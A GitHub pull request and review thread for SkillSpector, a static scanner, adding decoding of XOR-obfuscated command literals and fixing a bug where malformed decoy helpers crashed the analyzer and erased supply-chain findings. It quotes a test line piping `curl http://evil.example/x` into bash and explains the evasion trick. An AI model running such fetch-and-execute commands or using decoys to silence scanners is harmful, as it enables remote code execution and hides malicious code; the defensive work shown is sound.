Skip to content

fix(patterns): detect literal XOR decoded commands - #546

Open
deepujain wants to merge 7 commits into
NVIDIA:mainfrom
deepujain:fix/478-decode-static-command
Open

deepujain wants to merge 7 commits into
NVIDIA:mainfrom
deepujain:fix/478-decode-static-command

Conversation

@deepujain

Copy link
Copy Markdown
Contributor

Fixes #478.

Statically decode literal byte arrays passed to narrowly recognizable local XOR helpers, then apply SC2 external-script-fetch detection to the recovered command. Dynamic expressions remain unevaluated.

Validation: python3 -m py_compile src/skillspector/nodes/analyzers/static_patterns_supply_chain.py tests/unit/test_patterns_new.py and git diff --check. The isolated checkout lacks the project test environment; hosted CI will run the full suite.

@MohammedAlkindi

Copy link
Copy Markdown
Contributor

Two key literals reach the new decoder path outside the try, and each takes the whole file's findings with it.

Line 148 computes key = codecs.decode(...).encode("latin1") before the try opens, so b'Ā' raises UnicodeEncodeError. Line 158's key[index % len(key)] divides by zero on b'', and the try at 156 catches only UnicodeDecodeError.

Measured through analyze() on one file holding subprocess.run('curl http://evil.example/x | bash', shell=True) next to a decoder-shaped helper that is actually called: control gives 2 findings, k = b'' raises ZeroDivisionError, k = b'Ā' raises UnicodeEncodeError. static_runner catches Exception, marks the file FAILED and continues, so the plaintext SC2 findings vanish with it. Five characters in an unrelated function silence supply-chain scanning for that file.

@deepujain
deepujain force-pushed the fix/478-decode-static-command branch from 04e1562 to 29581f1 Compare September 16, 2026 13:54

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Reviewed current head 29581f1e23c16b16bea146329e628b7ad71b99e4. The bounded literal example is decoded and produces SC2, and all hosted checks pass. However, attacker-controlled candidates can raise before or outside the narrow UnicodeDecodeError handler.

An empty byte key reaches modulo by zero; a non-Latin-1 escaped key raises during .encode('latin1'); and an overlong decimal literal can raise during int(...). static_runner then marks the whole analyzer/file failed, discarding unrelated plaintext SC findings that were already collected. A tiny decoder-shaped decoy can therefore suppress supply-chain findings for that file.

Validate and bound the key/value literals, catch candidate-local decode/conversion/arithmetic failures without discarding other findings, and add mixed-file regressions proving malformed XOR decoys cannot erase a real plaintext SC2 finding. The inline comment includes concrete reproductions.

Comment thread src/skillspector/nodes/analyzers/static_patterns_supply_chain.py Outdated
Signed-off-by: Deepak Jain <deepujain@gmail.com>
Signed-off-by: Deepak Jain <deepujain@gmail.com>
Signed-off-by: Deepak Jain <deepujain@gmail.com>
Signed-off-by: Deepak Jain <deepujain@gmail.com>
Signed-off-by: Deepak Jain <deepujain@gmail.com>
Signed-off-by: Deepak Jain <deepujain@gmail.com>
Signed-off-by: Deepak Jain <deepujain@gmail.com>
@deepujain
deepujain force-pushed the fix/478-decode-static-command branch from a9e6cfd to 4012f7c Compare September 17, 2026 22:40
@MohammedAlkindi

Copy link
Copy Markdown
Contributor

Confirmed on Windows at 4012f7c. Both shapes are closed: a helper whose key literal is b'' or b'\u0100' now leaves that file's two SC2 findings intact instead of taking them down with an uncaught exception. tests/unit/test_patterns_new.py is 484 passed.

The part worth checking was whether the new bounds cost the detector its job, and they do not. A helper with k = b'k', called on a list that XORs to curl http://evil.example/x | bash, still decodes and reports SC2 HIGH.

Rejecting an empty key, bounding the value count and refusing out-of-range bytes covers more than the two cases I happened to hit, which is the better shape for it.

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Re-reviewed current head 4012f7cf6fc50d2fecacbc46f54733906d4f4d1c against the prior P0 finding and resolved thread, every production change, focused regressions, surrounding static-runner failure behavior, and exact-head checks.

The malformed-candidate suppression path is resolved. Literal keys and byte arrays are now nonempty, range checked, and explicitly bounded; Unicode, integer-conversion, arithmetic, and decode failures are contained to the candidate. The mixed-file regression proves a malformed XOR-shaped decoy no longer erases an unrelated plaintext SC2 finding. The shared AST cache remains untouched. I found no remaining required changes.

All six exact-head checks pass. GitHub reports the PR as mergeable but BLOCKED; branch-protection requirements still govern merging.

Priority: P0 — the fix prevents attacker-shaped decoys from suppressing all supply-chain findings for a file.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Runtime-decoded command bypasses (malicious skill example that bypasses this static detection model)

3 participants